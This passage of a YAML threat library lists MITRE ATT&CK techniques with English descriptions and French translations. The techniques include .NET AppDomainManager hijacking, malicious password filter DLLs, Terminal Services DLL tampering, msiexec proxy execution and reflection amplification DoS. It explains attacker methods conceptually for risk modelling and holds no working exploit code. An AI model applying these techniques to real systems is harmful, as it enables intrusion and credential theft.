          \ de couche application OSI pour \xE9viter la d\xE9tection/le filtrage du\
          \ r\xE9seau en se fondant dans le trafic existant. Les commandes adress\xE9\
          es au syst\xE8me distant, et souvent les r\xE9sultats de ces commandes,\
          \ seront incorpor\xE9s dans le trafic de protocole entre le client et le\
          \ serveur. \n\nLes adversaires peuvent utiliser de nombreux protocoles diff\xE9\
          rents, notamment ceux utilis\xE9s pour la navigation Web, le transfert de\
          \ fichiers, le courrier \xE9lectronique, le DNS ou la publication/l\u2019\
          abonnement. Pour les connexions qui se produisent en interne au sein d\u2019\
          une enclave (par exemple, celles entre un n\u0153ud proxy ou pivot et d\u2019\
          autres n\u0153uds), les protocoles couramment utilis\xE9s sont SMB, SSH\
          \ ou RDP. (Citation : Mandiant APT29 Eye Spy Email 22 novembre)\nhttps://attack.mitre.org/techniques/T1071"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.014
    ref_id: T1574.014
    name: AppDomainManager
    description: "Adversaries may execute their own malicious payloads by hijacking\
      \ how the .NET `AppDomainManager` loads assemblies. The .NET framework uses\
      \ the `AppDomainManager` class to create and manage one or more isolated runtime\
      \ environments (called application domains) inside a process to host the execution\
      \ of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run\
      \ as .NET code) may be loaded into an application domain as executable code.(Citation:\
      \ Microsoft App Domains) \n\nKnown as \"AppDomainManager injection,\" adversaries\
      \ may execute arbitrary code by hijacking how .NET applications load assemblies.\
      \ For example, malware may create a custom application domain inside a target\
      \ process to load and execute an arbitrary assembly. Alternatively, configuration\
      \ files (`.config`) or process environment variables that define .NET runtime\
      \ settings may be tampered with to instruct otherwise benign .NET applications\
      \ to load a malicious assembly (identified by name) into the target process.(Citation:\
      \ PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation:\
      \ Rapid7 AppDomain Manager Injection)\nhttps://attack.mitre.org/techniques/T1574/014"
    translations:
      fr:
        name: AppDomainManager
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ malveillantes en d\xE9tournant la fa\xE7on dont le .NET \xAB AppDomainManager\
          \ \xBB charge les assemblys. Le framework .NET utilise la classe \xAB AppDomainManager\
          \ \xBB pour cr\xE9er et g\xE9rer un ou plusieurs environnements d\u2019\
          ex\xE9cution isol\xE9s (appel\xE9s domaines d\u2019application) \xE0 l\u2019\
          int\xE9rieur d\u2019un processus afin d\u2019h\xE9berger l\u2019ex\xE9cution\
          \ d\u2019applications .NET. Les assemblys (binaires .exe ou .dll compil\xE9\
          s pour s\u2019ex\xE9cuter en tant que code .NET) peuvent \xEAtre charg\xE9\
          s dans un domaine d\u2019application en tant que code ex\xE9cutable. (Citation\
          \ : Domaines d\u2019application Microsoft) \n\nConnue sous le nom d'\xAB\
          \ injection AppDomainManager \xBB, les adversaires peuvent ex\xE9cuter du\
          \ code arbitraire en d\xE9tournant la fa\xE7on dont les applications .NET\
          \ chargent les assemblys. Par exemple, les logiciels malveillants peuvent\
          \ cr\xE9er un domaine d\u2019application personnalis\xE9 \xE0 l\u2019int\xE9\
          rieur d\u2019un processus cible pour charger et ex\xE9cuter un assembly\
          \ arbitraire. Alternativement, les fichiers de configuration (\xAB .config\
          \ \xBB) ou les variables d\u2019environnement de processus qui d\xE9finissent\
          \ les param\xE8tres d\u2019ex\xE9cution .NET peuvent \xEAtre falsifi\xE9\
          s pour indiquer \xE0 des applications .NET autrement inoffensives de charger\
          \ un assembly malveillant (identifi\xE9 par son nom) dans le processus cible.\
          \ (Citation : PenTestLabs AppDomainManagerInject)(Citation : PwC Yellow\
          \ Liderc)(Citation : Injection de Rapid7 AppDomain Manager)\nhttps://attack.mitre.org/techniques/T1574/014"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1074.002
    ref_id: T1074.002
    name: Remote Data Staging
    description: 'Adversaries may stage data collected from multiple systems in a
      central location or directory on one system prior to Exfiltration. Data may
      be kept in separate files or combined into one file through techniques such
      as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive
      command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
      and bash may be used to copy data into a staging location.


      In cloud environments, adversaries may stage data within a particular instance
      or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002)
      and stage data in that instance.(Citation: Mandiant M-Trends 2020)


      By staging data on one system prior to Exfiltration, adversaries can minimize
      the number of connections made to their C2 server and better evade detection.

      https://attack.mitre.org/techniques/T1074/002'
    translations:
      fr:
        name: "Transfert de donn\xE9es \xE0 distance"
        description: "Les adversaires peuvent regrouper les donn\xE9es collect\xE9\
          es \xE0 partir de plusieurs syst\xE8mes dans un emplacement central ou un\
          \ r\xE9pertoire sur un seul syst\xE8me avant l\u2019exfiltration. Les donn\xE9\
          es peuvent \xEAtre conserv\xE9es dans des fichiers distincts ou combin\xE9\
          es en un seul fichier gr\xE2ce \xE0 des techniques telles que [Archive Collected\
          \ Data](https://attack.mitre.org/techniques/T1560). Des shells de commande\
          \ interactifs peuvent \xEAtre utilis\xE9s, et des fonctionnalit\xE9s communes\
          \ \xE0 [cmd](https://attack.mitre.org/software/S0106) et bash peuvent \xEA\
          tre utilis\xE9es pour copier des donn\xE9es dans un emplacement de stockage.\n\
          \nDans les environnements cloud, les adversaires peuvent regrouper les donn\xE9\
          es au sein d\u2019une instance ou d\u2019une machine virtuelle particuli\xE8\
          re avant de les exfiltrer. Un adversaire peut [Cr\xE9er une instance cloud](https://attack.mitre.org/techniques/T1578/002)\
          \ et regrouper les donn\xE9es dans cette instance. (Citation : Mandiant\
          \ M-Trends 2020)\n\nEn stockant les donn\xE9es sur un syst\xE8me avant l\u2019\
          exfiltration, les adversaires peuvent minimiser le nombre de connexions\
          \ \xE9tablies \xE0 leur serveur C2 et mieux \xE9chapper \xE0 la d\xE9tection.\n\
          https://attack.mitre.org/techniques/T1074/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1098.006
    ref_id: T1098.006
    name: Additional Container Cluster Roles
    description: "An adversary may add additional roles or permissions to an adversary-controlled\
      \ user or service account to maintain persistent access to a container orchestration\
      \ system. For example, an adversary with sufficient permissions may create a\
      \ RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes\
      \ account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023)\
      \ Where attribute-based access control (ABAC) is in use, an adversary with sufficient\
      \ permissions may modify a Kubernetes ABAC policy to give the target account\
      \ additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification\
      \ may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136)\
      \ or other malicious account activity. Adversaries may also modify existing\
      \ [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have\
      \ compromised.  \n\nNote that where container orchestration systems are deployed\
      \ in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes\
      \ Service, and Azure Kubernetes Service, cloud-based  role-based access control\
      \ (RBAC) assignments or ABAC policies can often be used in place of or in addition\
      \ to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation:\
      \ AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes\
      \ Service Service Accounts) In these cases, this technique may be used in conjunction\
      \ with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).\n\
      https://attack.mitre.org/techniques/T1098/006"
    translations:
      fr:
        name: "R\xF4les suppl\xE9mentaires dans les clusters de conteneurs"
        description: "Un adversaire peut ajouter des r\xF4les ou des autorisations\
          \ suppl\xE9mentaires \xE0 un compte d\u2019utilisateur ou de service contr\xF4\
          l\xE9 par l\u2019adversaire afin de maintenir un acc\xE8s persistant \xE0\
          \ un syst\xE8me d\u2019orchestration de conteneurs. Par exemple, un adversaire\
          \ disposant d\u2019autorisations suffisantes peut cr\xE9er un RoleBinding\
          \ ou un ClusterRoleBinding pour lier un Role ou un ClusterRole \xE0 un compte\
          \ Kubernetes. (R\xE9f\xE9rence : Kubernetes RBAC)(Citation : Attaque Aquasec\
          \ Kubernetes 2023) Lorsque le contr\xF4le d\u2019acc\xE8s bas\xE9 sur les\
          \ attributs (ABAC) est utilis\xE9, un adversaire disposant d\u2019autorisations\
          \ suffisantes peut modifier une strat\xE9gie ABAC Kubernetes pour accorder\
          \ au compte cible des autorisations suppl\xE9mentaires. (Citation : Kuberentes\
          \ ABAC)\n \nCette modification de compte peut imm\xE9diatement suivre [Cr\xE9\
          er un compte](https://attack.mitre.org/techniques/T1136) ou toute autre\
          \ activit\xE9 malveillante du compte. Les adversaires peuvent \xE9galement\
          \ modifier les [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ existants qu\u2019ils ont compromis.  \n\nNotez que lorsque des syst\xE8\
          mes d\u2019orchestration de conteneurs sont d\xE9ploy\xE9s dans des environnements\
          \ cloud, comme avec Google Kubernetes Engine, Amazon Elastic Kubernetes\
          \ Service et Azure Kubernetes Service, les attributions de contr\xF4le d\u2019\
          acc\xE8s en fonction du r\xF4le (RBAC) bas\xE9es sur le cloud ou les politiques\
          \ ABAC peuvent souvent \xEAtre utilis\xE9es \xE0 la place ou en plus des\
          \ attributions d\u2019autorisations locales. (Citation : Google Cloud Kubernetes\
          \ IAM)(R\xE9f\xE9rence : R\xF4les AWS EKS IAM pour les comptes de service)(Citation\
          \ : Comptes de service Microsoft Azure Kubernetes Service) Dans ce cas,\
          \ cette technique peut \xEAtre utilis\xE9e conjointement avec [R\xF4les\
          \ cloud suppl\xE9mentaires](https://attack.mitre.org/techniques/T1098/003).\n\
          https://attack.mitre.org/techniques/T1098/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1053
    ref_id: T1053
    name: Scheduled Task/Job
    description: 'Adversaries may abuse task scheduling functionality to facilitate
      initial or recurring execution of malicious code. Utilities exist within all
      major operating systems to schedule programs or scripts to be executed at a
      specified date and time. A task can also be scheduled on a remote system, provided
      the proper authentication is met (ex: RPC and file and printer sharing in Windows
      environments). Scheduling a task on a remote system typically may require being
      a member of an admin or otherwise privileged group on the remote system.(Citation:
      TechNet Task Scheduler Security)


      Adversaries may use task scheduling to execute programs at system startup or
      on a scheduled basis for persistence. These mechanisms can also be abused to
      run a process under the context of a specified account (such as one with elevated
      permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218),
      adversaries have also abused task scheduling to potentially mask one-time execution
      under a trusted system process.(Citation: ProofPoint Serpent)

      https://attack.mitre.org/techniques/T1053'
    translations:
      fr:
        name: "T\xE2che/travail planifi\xE9"
        description: "Les adversaires peuvent abuser de la fonctionnalit\xE9 de planification\
          \ des t\xE2ches pour faciliter l\u2019ex\xE9cution initiale ou r\xE9currente\
          \ de code malveillant. Des utilitaires existent dans tous les principaux\
          \ syst\xE8mes d\u2019exploitation pour planifier l\u2019ex\xE9cution de\
          \ programmes ou de scripts \xE0 une date et une heure sp\xE9cifi\xE9es.\
          \ Une t\xE2che peut \xE9galement \xEAtre planifi\xE9e sur un syst\xE8me\
          \ distant, \xE0 condition que l\u2019authentification appropri\xE9e soit\
          \ respect\xE9e (par exemple, RPC et partage de fichiers et d\u2019imprimantes\
          \ dans les environnements Windows). La planification d\u2019une t\xE2che\
          \ sur un syst\xE8me distant peut g\xE9n\xE9ralement n\xE9cessiter d\u2019\
          \xEAtre membre d\u2019un administrateur ou d\u2019un groupe privil\xE9gi\xE9\
          \ sur le syst\xE8me distant. (Citation : S\xE9curit\xE9 du planificateur\
          \ de t\xE2ches TechNet)\n\nLes adversaires peuvent utiliser la planification\
          \ des t\xE2ches pour ex\xE9cuter des programmes au d\xE9marrage du syst\xE8\
          me ou de mani\xE8re planifi\xE9e pour la persistance. Ces m\xE9canismes\
          \ peuvent \xE9galement \xEAtre utilis\xE9s de mani\xE8re abusive pour ex\xE9\
          cuter un processus dans le contexte d\u2019un compte sp\xE9cifi\xE9 (par\
          \ exemple, un compte avec des autorisations/privil\xE8ges \xE9lev\xE9s).\
          \ \xC0 l\u2019instar de [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218),\
          \ les adversaires ont \xE9galement abus\xE9 de la planification des t\xE2\
          ches pour masquer potentiellement une ex\xE9cution unique dans le cadre\
          \ d\u2019un processus syst\xE8me approuv\xE9. (Citation : ProofPoint Serpent)\n\
          https://attack.mitre.org/techniques/T1053"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.007
    ref_id: T1218.007
    name: Msiexec
    description: 'Adversaries may abuse msiexec.exe to proxy execution of malicious
      payloads. Msiexec.exe is the command-line utility for the Windows Installer
      and is thus commonly associated with executing installation packages (.msi).(Citation:
      Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.


      Adversaries may abuse msiexec.exe to launch local or network accessible MSI
      files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation:
      TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems,
      msiexec.exe can be used to bypass application control solutions that do not
      account for its potential abuse. Msiexec.exe execution may also be elevated
      to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation:
      Microsoft AlwaysInstallElevated 2018)

      https://attack.mitre.org/techniques/T1218/007'
    translations:
      fr:
        name: Msiexec
        description: "Les adversaires peuvent abuser de l\u2019ex\xE9cution de charges\
          \ utiles malveillantes msiexec.exe \xE0 proxy Msiexec.exe est l\u2019utilitaire\
          \ de ligne de commande pour Windows Installer et est donc g\xE9n\xE9ralement\
          \ associ\xE9 \xE0 l\u2019ex\xE9cution de packages d\u2019installation (.msi).\
          \ (Citation : Microsoft msiexec) Le binaire Msiexec.exe peut \xE9galement\
          \ \xEAtre sign\xE9 num\xE9riquement par Microsoft.\n\nLes adversaires peuvent\
          \ abuser de msiexec.exe pour lancer des fichiers MSI accessibles localement\
          \ ou par le r\xE9seau. Msiexec.exe pouvez \xE9galement ex\xE9cuter des DLL.(Citation\
          \ : LOLBAS Msiexec)(Citation : TrendMicro Msiexec Feb 2018) Comme il peut\
          \ \xEAtre sign\xE9 et natif sur les syst\xE8mes Windows, msiexec.exe peut\
          \ \xEAtre utilis\xE9 pour contourner les solutions de contr\xF4le d\u2019\
          applications qui ne tiennent pas compte de son abus potentiel. Msiexec.exe\u2019\
          ex\xE9cution peut \xE9galement \xEAtre \xE9lev\xE9e au rang de privil\xE8\
          ges SYSTEM si la strat\xE9gie <code>AlwaysInstallElevated</code> est activ\xE9\
          e. (Citation : Microsoft AlwaysInstallElevated 2018)\nhttps://attack.mitre.org/techniques/T1218/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1590.003
    ref_id: T1590.003
    name: Network Trust Dependencies
    description: 'Adversaries may gather information about the victim''s network trust
      dependencies that can be used during targeting. Information about network trusts
      may include a variety of details, including second or third-party organizations/domains
      (ex: managed service providers, contractors, etc.) that have connected (and
      potentially elevated) network access.


      Adversaries may gather this information in various ways, such as direct elicitation
      via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information
      about network trusts may also be exposed to adversaries via online or other
      accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation:
      Pentesting AD Forests) Gathering this information may reveal opportunities for
      other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595)
      or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),
      establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)
      or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),
      and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

      https://attack.mitre.org/techniques/T1590/003'
    translations:
      fr:
        name: "D\xE9pendances d\u2019approbation du r\xE9seau"
        description: "Les adversaires peuvent recueillir des informations sur les\
          \ d\xE9pendances d\u2019approbation du r\xE9seau de la victime qui peuvent\
          \ \xEAtre utilis\xE9es lors du ciblage. Les informations sur les approbations\
          \ de r\xE9seau peuvent inclure divers d\xE9tails, y compris des organisations/domaines\
          \ secondaires ou tiers (par exemple, des fournisseurs de services g\xE9\
          r\xE9s, des sous-traitants, etc.) qui ont un acc\xE8s r\xE9seau connect\xE9\
          \ (et potentiellement \xE9lev\xE9).\n\nLes adversaires peuvent recueillir\
          \ ces informations de diff\xE9rentes mani\xE8res, par exemple par le biais\
          \ de l\u2019hame\xE7onnage par le biais de [Phishing for Information](https://attack.mitre.org/techniques/T1598).\
          \ Les informations sur les fiducies de r\xE9seau peuvent \xE9galement \xEA\
          tre expos\xE9es \xE0 des adversaires via des ensembles de donn\xE9es en\
          \ ligne ou d\u2019autres ensembles de donn\xE9es accessibles (ex : [Rechercher\
          \ dans des bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)).\
          \ (Citation : Pentesting AD Forests) La collecte de ces informations peut\
          \ r\xE9v\xE9ler des possibilit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Analyse active](https://attack.mitre.org/techniques/T1595) ou [Recherche\
          \ de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [Acquisition\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1583) ou [Compromission\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1584)), et/ou\
          \ d\u2019acc\xE8s initial (ex : [Fiable Relation](https://attack.mitre.org/techniques/T1199)).\n\
          https://attack.mitre.org/techniques/T1590/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1498.002
    ref_id: T1498.002
    name: Reflection Amplification
    description: 'Adversaries may attempt to cause a denial of service (DoS) by reflecting
      a high-volume of network traffic to a target. This type of Network DoS takes
      advantage of a third-party server intermediary that hosts and will respond to
      a given spoofed source IP address. This third-party server is commonly termed
      a reflector. An adversary accomplishes a reflection attack by sending packets
      to reflectors with the spoofed address of the victim. Similar to Direct Network
      Floods, more than one system may be used to conduct the attack, or a botnet
      may be used. Likewise, one or more reflectors may be used to focus traffic on
      the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack
      may also reduce the availability and functionality of the targeted system(s)
      and network.


      Reflection attacks often take advantage of protocols with larger responses than
      requests in order to amplify their traffic, commonly known as a Reflection Amplification
      attack. Adversaries may be able to generate an increase in volume of attack
      traffic that is several orders of magnitude greater than the requests sent to
      the amplifiers. The extent of this increase will depending upon many variables,
      such as the protocol in question, the technique used, and the amplifying servers
      that actually produce the amplification in attack volume. Two prominent protocols
      that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare
      DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though
      the use of several others in the wild have been documented.(Citation: Arbor
      AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself
      to be a powerful protocol, with amplification sizes up to 51,200 times the requesting
      packet.(Citation: Cloudflare Memcrashed Feb 2018)

      https://attack.mitre.org/techniques/T1498/002'
    translations:
      fr:
        name: "Amplification de la r\xE9flexion"
        description: "Les adversaires peuvent tenter de provoquer un d\xE9ni de service\
          \ (DoS) en refl\xE9tant un volume \xE9lev\xE9 de trafic r\xE9seau \xE0 une\
          \ cible. Ce type de DoS r\xE9seau tire parti d\u2019un serveur interm\xE9\
          diaire tiers qui h\xE9berge et r\xE9pondra \xE0 une adresse IP source usurp\xE9\
          e donn\xE9e. Ce serveur tiers est commun\xE9ment appel\xE9 r\xE9flecteur.\
          \ Un adversaire r\xE9alise une attaque par r\xE9flexion en envoyant des\
          \ paquets \xE0 des r\xE9flecteurs avec l\u2019adresse usurp\xE9e de la victime.\
          \ \xC0 l\u2019instar des Direct Network Floods, plusieurs syst\xE8mes peuvent\
          \ \xEAtre utilis\xE9s pour mener l\u2019attaque, ou un botnet peut \xEA\
          tre utilis\xE9. De m\xEAme, un ou plusieurs r\xE9flecteurs peuvent \xEA\
          tre utilis\xE9s pour concentrer le trafic sur la cible. (Citation : Cloudflare\
          \ ReflectionDoS mai 2017) Cette attaque par d\xE9ni de service r\xE9seau\
          \ peut \xE9galement r\xE9duire la disponibilit\xE9 et la fonctionnalit\xE9\
          \ du ou des syst\xE8mes et du r\xE9seau cibl\xE9s.\n\nLes attaques par r\xE9\
          flexion tirent souvent parti des protocoles avec des r\xE9ponses plus importantes\
          \ que les requ\xEAtes afin d\u2019amplifier leur trafic, ce que l\u2019\
          on appelle commun\xE9ment une attaque par amplification par r\xE9flexion.\
          \ Les adversaires peuvent \xEAtre en mesure de g\xE9n\xE9rer une augmentation\
          \ du volume du trafic d\u2019attaque sup\xE9rieure de plusieurs ordres de\
          \ grandeur aux requ\xEAtes envoy\xE9es aux amplificateurs. L\u2019ampleur\
          \ de cette augmentation d\xE9pendra de nombreuses variables, telles que\
          \ le protocole en question, la technique utilis\xE9e et les serveurs d\u2019\
          amplification qui produisent r\xE9ellement l\u2019amplification du volume\
          \ d\u2019attaque. Deux protocoles importants qui ont permis l\u2019amplification\
          \ de r\xE9flexion sont DNS(Citation\_: Cloudflare DNSamplficationDoS) et\
          \ NTP(Citation\_: Cloudflare NTPamplifciationDoS), bien que l\u2019utilisation\
          \ de plusieurs autres dans la nature ait \xE9t\xE9 document\xE9e. (Citation\
          \ : Arbor AnnualDoSreport janvier 2018)  En particulier, le protocole memcache\
          \ s\u2019est av\xE9r\xE9 \xEAtre un protocole puissant, avec des tailles\
          \ d\u2019amplification allant jusqu\u2019\xE0 51 200 fois le paquet demandeur.\
          \ (Citation : Cloudflare Memcrashed f\xE9vrier 2018)\nhttps://attack.mitre.org/techniques/T1498/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1556.002
    ref_id: T1556.002
    name: Password Filter DLL
    description: "Adversaries may register malicious password filter dynamic link\
      \ libraries (DLLs) into the authentication process to acquire user credentials\
      \ as they are validated. \n\nWindows password filters are password policy enforcement\
      \ mechanisms for both domain and local accounts. Filters are implemented as\
      \ DLLs containing a method to validate potential passwords against password\
      \ policies. Filter DLLs can be positioned on local computers for local accounts\
      \ and/or domain controllers for domain accounts. Before registering new passwords\
      \ in the Security Accounts Manager (SAM), the Local Security Authority (LSA)\
      \ requests validation from each registered filter. Any potential changes cannot\
      \ take effect until every registered filter acknowledges validation. \n\nAdversaries\
      \ can register malicious password filters to harvest credentials from local\
      \ computers and/or entire domains. To perform proper validation, filters must\
      \ receive plain-text credentials from the LSA. A malicious password filter would\
      \ receive these plain-text credentials every time a password request is made.(Citation:\
      \ Carnal Ownage Password Filters Sept 2013)\nhttps://attack.mitre.org/techniques/T1556/002"
    translations:
      fr:
        name: DLL de filtre de mot de passe
        description: "Les adversaires peuvent enregistrer des biblioth\xE8ques de\
          \ liens dynamiques (DLL) malveillantes de filtre de mot de passe dans le\
          \ processus d\u2019authentification pour acqu\xE9rir les informations d\u2019\
          identification de l\u2019utilisateur au fur et \xE0 mesure de leur validation.\
          \ \n\nLes filtres de mots de passe Windows sont des m\xE9canismes d\u2019\
          application de politiques de mots de passe pour les comptes de domaine et\
          \ locaux. Les filtres sont impl\xE9ment\xE9s sous forme de DLL contenant\
          \ une m\xE9thode pour valider les mots de passe potentiels par rapport aux\
          \ politiques de mot de passe. Les DLL de filtre peuvent \xEAtre positionn\xE9\
          es sur des ordinateurs locaux pour les comptes locaux et/ou des contr\xF4\
          leurs de domaine pour les comptes de domaine. Avant d\u2019enregistrer de\
          \ nouveaux mots de passe dans le gestionnaire de comptes de s\xE9curit\xE9\
          \ (SAM), l\u2019autorit\xE9 de s\xE9curit\xE9 locale (LSA) demande la validation\
          \ de chaque filtre enregistr\xE9. Les modifications potentielles ne peuvent\
          \ pas prendre effet tant que chaque filtre enregistr\xE9 n\u2019a pas \xE9\
          t\xE9 valid\xE9. \n\nLes adversaires peuvent enregistrer des filtres de\
          \ mots de passe malveillants pour collecter des informations d\u2019identification\
          \ sur des ordinateurs locaux et/ou des domaines entiers. Pour effectuer\
          \ une validation correcte, les filtres doivent recevoir des informations\
          \ d\u2019identification en texte brut de la part du LSA. Un filtre de mot\
          \ de passe malveillant recevrait ces informations d\u2019identification\
          \ en texte brut chaque fois qu\u2019une demande de mot de passe est effectu\xE9\
          e. (Citation : Filtres de mots de passe Carnal Ownage septembre 2013)\n\
          https://attack.mitre.org/techniques/T1556/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1505.005
    ref_id: T1505.005
    name: Terminal Services DLL
    description: 'Adversaries may abuse components of Terminal Services to enable
      persistent access to systems. Microsoft Terminal Services, renamed to Remote
      Desktop Services in some Windows Server OSs as of 2022, enable remote terminal
      connections to hosts. Terminal Services allows servers to transmit a full, interactive,
      graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop
      Services)


      [Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run
      as a "generic" process (ex: <code>svchost.exe</code>) load the service''s DLL
      file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation:
      Microsoft System Services Fundamentals) The <code>termsrv.dll</code> file, typically
      stored in `%SystemRoot%\System32\`, is the default <code>ServiceDll</code> value
      for Terminal Services in `HKLM\System\CurrentControlSet\services\TermService\Parameters\`.


      Adversaries may modify and/or replace the Terminal Services DLL to enable persistent
      access to victimized hosts.(Citation: James TermServ DLL) Modifications to this
      DLL could be done to execute arbitrary payloads (while also potentially preserving
      normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable
      features of Terminal Services. For example, an adversary may enable features
      such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001)
      sessions by either patching the <code>termsrv.dll</code> file or modifying the
      <code>ServiceDll</code> value to point to a DLL that provides increased RDP
      functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a
      non-server Windows OS this increased functionality may also enable an adversary
      to avoid Terminal Services prompts that warn/log out users of a system when
      a new RDP session is created.

      https://attack.mitre.org/techniques/T1505/005'
    translations:
      fr:
        name: Terminal Services DLL
        description: "Les adversaires peuvent abuser des composants des services Terminal\
          \ Server pour permettre un acc\xE8s permanent aux syst\xE8mes. Les services\
          \ Terminal Server de Microsoft, renomm\xE9s Services Bureau \xE0 distance\
          \ dans certains syst\xE8mes d\u2019exploitation Windows Server \xE0 partir\
          \ de 2022, permettent les connexions de terminal \xE0 distance aux h\xF4\
          tes. Les services Terminal Server permettent aux serveurs de transmettre\
          \ une interface utilisateur graphique compl\xE8te et interactive aux clients\
          \ via RDP. (Citation : Services de bureau \xE0 distance de Microsoft)\n\n\
          [Service Windows]Les (https://attack.mitre.org/techniques/T1543/003) qui\
          \ sont ex\xE9cut\xE9s en tant que processus \xAB g\xE9n\xE9rique \xBB (ex\
          \ : <code>svchost.exe</code>) chargent le fichier DLL du service, dont l\u2019\
          emplacement est stock\xE9 dans une entr\xE9e de registre nomm\xE9e <code>ServiceDll</code>.\
          \ (Citation : Principes fondamentaux des services syst\xE8me Microsoft)\
          \ Le fichier <code>termsrv.dll</code>, g\xE9n\xE9ralement stock\xE9 dans\
          \ '\_%SystemRoot\_%\\System32\\', est la valeur <code>ServiceDll</code>\
          \ par d\xE9faut pour les services Terminal Server dans 'HKLM\\System\\CurrentControlSet\\\
          services\\TermService\\Parameters\\'.\n\nLes adversaires peuvent modifier\
          \ et/ou remplacer la DLL des services Terminal Server pour permettre un\
          \ acc\xE8s persistant aux h\xF4tes victimis\xE9s. (Citation : James TermServ\
          \ DLL) Des modifications peuvent \xEAtre apport\xE9es \xE0 cette DLL pour\
          \ ex\xE9cuter des charges utiles arbitraires (tout en pr\xE9servant potentiellement\
          \ <code>les fonctionnalit\xE9s termsrv.dll</code> normales) ainsi que pour\
          \ activer simplement des fonctionnalit\xE9s abusives des services Terminal\
          \ Server. Par exemple, un adversaire peut activer des fonctionnalit\xE9\
          s telles que des sessions simultan\xE9es [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001)\
          \ en corrigeant le fichier <code>termsrv.dll</code> ou en modifiant la valeur\
          \ <code>ServiceDll</code> pour qu\u2019elle pointe vers une DLL qui offre\
          \ une fonctionnalit\xE9 RDP accrue. (Citation : Windows OS Hub RDP)(Citation\
          \ : RDPWrap Github) Sur un syst\xE8me d\u2019exploitation Windows non serveur,\
          \ cette fonctionnalit\xE9 accrue peut \xE9galement permettre \xE0 un adversaire\
          \ d\u2019\xE9viter les invites des services Terminal Server qui avertissent/d\xE9\
          connectent les utilisateurs d\u2019un syst\xE8me lorsqu\u2019une nouvelle\
          \ session RDP est cr\xE9\xE9e.\nhttps://attack.mitre.org/techniques/T1505/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059.002
    ref_id: T1059.002
    name: AppleScript
    description: "Adversaries may abuse AppleScript for execution. AppleScript is\
      \ a macOS scripting language designed to control applications and parts of the\
      \ OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript)\
      \ These AppleEvent messages can be sent independently or easily scripted with\
      \ AppleScript. These events can locate open windows, send keystrokes, and interact\
      \ with almost any open application locally or remotely.\n\nScripts can be run\
      \ from the command-line via <code>osascript /path/to/script</code> or <code>osascript\
      \ -e \"script here\"</code>. Aside from the command line, scripts can be executed\
      \ in numerous ways including Mail rules, Calendar.app alarms, and Automator\
      \ workflows. AppleScripts can also be executed as plain text shell scripts by\
      \ adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation:\
      \ SentinelOne AppleScript)\n\nAppleScripts do not need to call <code>osascript</code>\
      \ to execute. However, they may be executed from within mach-O binaries by using\
      \ the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\_<code>NSAppleScript</code>\_\
      or\_<code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code>\
      \ command line utility.\n\nAdversaries may abuse AppleScript to execute various\
      \ behaviors, such as interacting with an open SSH connection, moving to remote\
      \ machines, and even presenting users with fake dialog boxes. These events cannot\
      \ start applications remotely (they can start them locally), but they can interact\
      \ with applications if they're already running remotely. On macOS 10.10 Yosemite\
